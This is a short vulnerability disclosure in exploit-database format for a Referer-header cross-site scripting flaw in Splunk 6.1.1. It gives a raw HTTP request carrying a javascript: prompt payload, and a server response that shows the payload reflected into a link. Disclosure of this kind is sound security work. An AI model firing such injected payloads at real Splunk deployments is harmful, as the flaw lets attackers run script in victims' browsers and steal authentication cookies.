Splunk 6.1.1 - 'Referer' Header Cross-Site Scripting

# Exploit Title: Splunk 'Referer' Header Cross Site Scripting Vulnerability
# Date: 7th January 2017
# Exploit Author: justpentest
# Vendor Homepage: http://www.splunk.com/
# Version: Splunk 6.1.1 other versions may also be affected.
# Contact: transform2secure@gmail.com


Source: https://www.securityfocus.com/bid/67655/info
 
1) Description:
Splunk is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
2) Exploit:
 
URL: http://justpentest.com:8000/en-US/app/
 
GET /en-US/app/ HTTP/1.1
Host=justpentest.com:8000
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=javascript:prompt("XXS by justpentest");
Connection=keep-alive
----------------------------------------------------------------------------------------
Response:
 <p>This page was linked to from <a href="javascript:prompt("XXS by justpentest");">javascript:prompt("XXS by justpentest");</a>.</p>